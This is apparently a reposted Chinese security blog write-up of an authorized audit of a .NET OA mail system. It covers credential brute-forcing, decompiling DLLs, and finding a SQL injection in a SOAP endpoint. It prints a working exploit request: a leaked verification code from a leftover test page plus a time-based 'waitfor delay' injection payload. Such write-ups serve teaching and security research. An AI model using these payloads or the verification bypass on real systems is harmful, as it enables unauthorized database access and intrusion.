记一次靠猜的.net代码审计拿下目标
2021-04-11 20:51:53 Author: xz.aliyun.com(查看原文) 阅读量:736 收藏

在一次授权的实战测试中,需要拿到某OA的权限,经过top500的姓名+top100的密码,爆破出来几个账户,有了账户,进入oa内部,通过上传很轻松的就拿到了shell,但是客户不满足于此,要求找到未授权的RCE.有了shell,可以把源码脱下来,但这OA是.net+mssql开发的,我又不懂.net,没办法只能硬着头皮上了。
过程中涉及的一些aspx的审计知识都是根据项目需要百度现学+猜理解的,分享出来给一些像我一样完全不懂.net 小白提供一些应急审计的思路,如果有错误,请大佬们多多指教。

由于我对aspx的站点一点不懂,所以首先需要了解一些aspx审计的一些知识,通过一番百度,大概明白了aspx的代码基本都是封装在bin目录下的dll文件中的,这里大概分为两种情况:

  1. 一个页面对应一个dll

我们打开一个aspx页面,发现

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>

Inherits对应的就是bin目录下dll文件的位置,这里对应的是bin目录下Richfit.Garnet.Web.dll,我们直接反编译Richfit.Garnet.Web.dll,然后查找SSOExample就可以找到该页面的代码内容。

  1. 一个项目对应一个dll

同样打开aspx页面,发现代码:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UpdateApplication.aspx.cs" Inherits="CustomizedWCFUI.UpdateApplication" %>

我们根据Inherits的值CustomizedWCFUI去找dll文件,是找不到的。这种情况下是把整个项目封装成一个dll了(一般和目录名对应),比如在目标中我们的地址是http://www.xxx.com/MailServer/login.aspx,那么就去寻找bin目录下Mailserver.dll
然后对应着一级一级去找对应的代码。
找到了对应的dll文件之后,开始进行反编译,查找代码,这里我用的是ILspy,我们直接把dll文件拖进去即可

这里就可以看到Mailserver下面有很多的函数。

1.verifycode泄露导致sql注入

首先来看一下webservice/MailWebService.asmx

这里我挑了了一个RestoreEmail来测试,这里asmx接口是给了测试样例的:

POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RestoreEmail xmlns="http://erpjx.com/MailWebService/">
      <TimeStamp>string</TimeStamp>
      <VerifyCode>string</VerifyCode>
      <UserGuid>string</UserGuid>
      <MailGuid>string</MailGuid>
    </RestoreEmail>
  </soap:Body>
</soap:Envelope>

从样例中可以看到我们可控的地方有四个参数,我们需要了解一下这四个参数是如何使用的。
根据前面的学习,我们需要到

Mailserver.WebService.MailWebService下去寻找

我们直接找到RestoreEmail函数查看代码:

public string RestoreEmail(string TimeStamp, string VerifyCode, string UserGuid, string MailGuid)
{
    AjaxResultModel ajaxResultModel = new AjaxResultModel();
    if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
    {
        using (SqlDataFactory sqlDataFactory = new SqlDataFactory(PublicSetting.RawDBHelper_ApplicationSetting_ConnectionStringKey, true))
        {
            ajaxResultModel.IsSuccess = sqlDataFactory.ExecuteSQLBool(string.Concat(new string[]
            {
                "update Inbox set Folder='",
                0.ToString(),
                "' where MailGuid='",
                MailGuid,
                "' and UserGuid='",
                UserGuid,
                "'"
            }));
        }
    }
    return Serializer.SerializeJSON<AjaxResultModel>(ajaxResultModel);
}

在这里可以很明显的看到将MailGuid和UserGuid直接带入数据库查询,而这两个参数是我们可控的,这里便产生了一个update型的sql注入。
但在数据库执行前有一个if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel)),需要返回true,才可以进入if语句,进行数据库查询。
跟进IsValidRequest

public static bool IsValidRequest(string TimeStamp, string VerifyCode, ref AjaxResultModel AjaxResultObject)
{
    bool flag = MD5.MD5Data(PublicSetting.MD5String + TimeStamp) == VerifyCode;
    if (!flag)
    {
        AjaxResultObject.ErrorMsg = "无效的验证码,您无权访问此服务!";
    }
    return flag;
}

这里通过一个动态的md5校验码来验证是否有权限访问,而这里的PublicSetting.MD5String我们是无法确定的,看来无法利用啊,只好去查找别的点。

在看到/mailserver/Test/test.aspx 的代码时,突然发现个好东西:

public class test : Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            string text = "2971ABC5-AC17-455C-AC33-C91066707F9C";
            string text2 = "王杨治";
            string text3 = DateTime.Now.Ticks.ToString();
            string text4 = MD5.MD5Data(PublicSetting.MD5String + text3);
            base.Response.Write(string.Concat(new string[]
            {
                "ComposeInterface.aspx?TimeStamp=",
                text3,
                "&VerifyCode=",
                text4,
                "&SenderUserGuid=",
                text,
                "&SenderName=",
                text2
            }));
        }
    }
}

这应该是程序员为了做测试写的一个测试,但在上线时没有删除,里面MD5.MD5Data(PublicSetting.MD5String + text3)的代码有点眼熟啊,不就是我们前面进行VerifyCode验证的代码吗,这里程序员还贴心的把执行结果输出到页面中去,使用他可以直接绕过IsValidRequest的判断啊

那么直接拿到TimeStamp=637475525389254815&VerifyCode=727de04ad204d7b00ed1a1ff66943456去构造webservice的数据包

POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RestoreEmail xmlns="http://erpjx.com/MailWebService/">
      <TimeStamp>637475525389254815</TimeStamp>
      <VerifyCode>727de04ad204d7b00ed1a1ff66943456</VerifyCode>
      <UserGuid>string';waitfor delay '0:0:5'--</UserGuid>
      <MailGuid>string</MailGuid>
    </RestoreEmail>
  </soap:Body>
</soap:Envelope>

于是构造数据包post发送,成功延时,收获sql注入一枚。


文章来源: http://xz.aliyun.com/t/9403
如有侵权请联系:admin#unsafe.sh